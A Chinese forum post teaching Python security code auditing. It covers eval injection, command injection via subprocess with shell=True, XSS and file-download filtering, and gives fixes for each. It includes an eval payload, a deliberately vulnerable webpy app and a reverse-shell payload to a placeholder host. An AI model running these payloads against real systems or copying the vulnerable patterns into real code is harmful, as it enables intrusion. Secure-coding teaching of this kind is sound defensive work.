搜索
查看: 1020|回复: 0

python安全代码审计

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-2-25 10:32:04 | 显示全部楼层 |阅读模式
最近工作中接触到python代码审计方面的知识,写篇文章简单总结下。
在审计代码之前可以用bandit进行白盒扫描,根据结果再去分析是否有具体的漏洞。
bandit安装:pip install bandit
0x01 代码执行
在审python代码的时候,发现很多类似eval(xx)之类的代码,并且xx外部认为可控导致python的任意代码执行。
这种情况大多用在将一个字符串转换为dict的情况。
比如
  1. >>> x='{"name": "joychou"}'
  2. >>> print type(x)
  3. <type 'str'>
  4. >>> a=eval(x)
  5. >>> print type(a)
  6. <type 'dict'>
  7. >>> print a
  8. {'name': 'joychou'}
复制代码
payload:
  1. >>> eval("__import__('os').system('whoami')")
  2. root
  3. 0
复制代码
可以用ast.literal_eval替换eval
  1. >>> ast.literal_eval("os.system('whoami')")
  2. Traceback (most recent call last):
  3.   File "<stdin>", line 1, in <module>
  4.   File "ast.py", line 68, in literal_eval
  5.     return _convert(node_or_string)
  6.   File "ast.py", line 67, in _convert
  7.     raise ValueError('malformed string')
  8. ValueError: malformed string
复制代码
修复方案:
  • 使用eval的时候对参数进行过滤
  • 或者使用ast.literal_eval
  • 或者使用json.loads将字符串转换为dict(如果功能一样)
0x02 命令注入
python中有很多方法os.system, os.popen, subprocess.call都可以执行shell命令。如果在执行命令的时候,参数是外部人为可控,那么就能造成命令执行漏洞。
我用webpy写了一份有漏洞代码:
  1. #coding:utf-8
  2. import web
  3. import subprocess

  4. urls = (
  5.     '/code/', 'codeaudit'
  6. )

  7. class codeaudit:
  8.     def GET(self):
  9.         user_data = web.input(domain = '127.0.0.1')
  10.         domain = user_data.domain
  11.         print '[+]domain: %s' % (domain)
  12.         self.count_lines(domain)

  13.     def count_lines(self, domain):
  14.         cmd = "curl '%s' | wc -l" % (domain)
  15.         print cmd
  16.         subprocess.call(cmd, shell=True)

  17. if __name__ == "__main__":
  18.     app = web.application(urls, globals())
  19.     app.run()
复制代码
由于参数domain未做过滤,外部人为可控。并且使用shell=True的参数,可执行linux的bash shell,最后导致命令执行。
反弹shell的payload:
  1. http://www.sectest.com:8080/code/?domain=www.joychou.org'|bash -i >%26 /dev/tcp/x.x.x.x/1234 0>%261 | grep '
复制代码
注意&符号要进行url编码%26,否则在url里会被认为是下一个参数。
由于命令行中存在管道符|,所以如果直接将shell=True改为shel=False,会调用失败。
所以修复方案直接将True修改为False在使用管道符的时候行不通。
不存在管道符:
  1. >>> subprocess.call('whoami',shell=False)
  2. root
  3. 0
复制代码
存在管道符:
  1. >>> subprocess.call('whoami | grep xx',shell=False)
  2. Traceback (most recent call last):
  3.   File "<stdin>", line 1, in <module>
  4.   File "/usr/lib64/python2.6/subprocess.py", line 478, in call
  5.     p = Popen(*popenargs, **kwargs)
  6.   File "/usr/lib64/python2.6/subprocess.py", line 642, in __init__
  7.     errread, errwrite)
  8.   File "/usr/lib64/python2.6/subprocess.py", line 1238, in _execute_child
  9.     raise child_exception
  10. OSError: [Errno 2] No such file or directory
复制代码
correct:
  1. def count_lines(website):
  2.     args = ['curl', website]
  3.     args2 = ['wc', '-l']
  4.     process_curl = subprocess.Popen(args, stdout=subprocess.PIPE,
  5.                                     shell=False)
  6.     process_wc = subprocess.Popen(args2, stdin=process_curl.stdout,
  7.                                   stdout=subprocess.PIPE    , shell=False)
  8.     # Allow process_curl to receive a SIGPIPE if process_wc exits.
  9.     process_curl.stdout.close()
  10.     return process_wc.communicate()[0]

  11. # >>> count_lines('www.google.com')
  12. # '7\n'
复制代码
漏洞修复:
  • 对参数进行过滤(简单粗暴)
  • 使用subprocess.Popen
0x03 xss
incorrect
  1.     def GET(self):
  2.         web.header('Content-Type','text/html; charset=utf-8', unique=True)
  3.         user_data = web.input(domain = '127.0.0.1')
  4.         domain = user_data.domain
  5.         #return render('hello.html', domain=domain)
  6.         #return "Hello %s" % escape(domain)        
  7.         return "Hello %s" % domain
复制代码
correct
使用escape进行html编码
  1. from flask import escape

  2.     def GET(self):
  3.         web.header('Content-Type','text/html; charset=utf-8', unique=True)
  4.         user_data = web.input(domain = '127.0.0.1')
  5.         domain = user_data.domain
  6.         return "Hello %s" % escape(domain)
复制代码
漏洞修复:
  • escape html编码
  • render(django python框架)
  • 对参数进行过滤
0x04 任意文件下载
如果有下载功能的代码,需要检查参数是否外部可控。
如果可控,检查是否有做过滤,没过滤则有任意文件下载漏洞。
看到一份代码过滤如下:
  1. path = path.replace('|', '').replace(' ', '').replace('../', '').replace(';', '')
复制代码
未完待续……
参考链接
https://security.openstack.org/guidelines/dg_avoid-shell-true.html
https://security.openstack.org/g ... -scripting-xss.html



过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表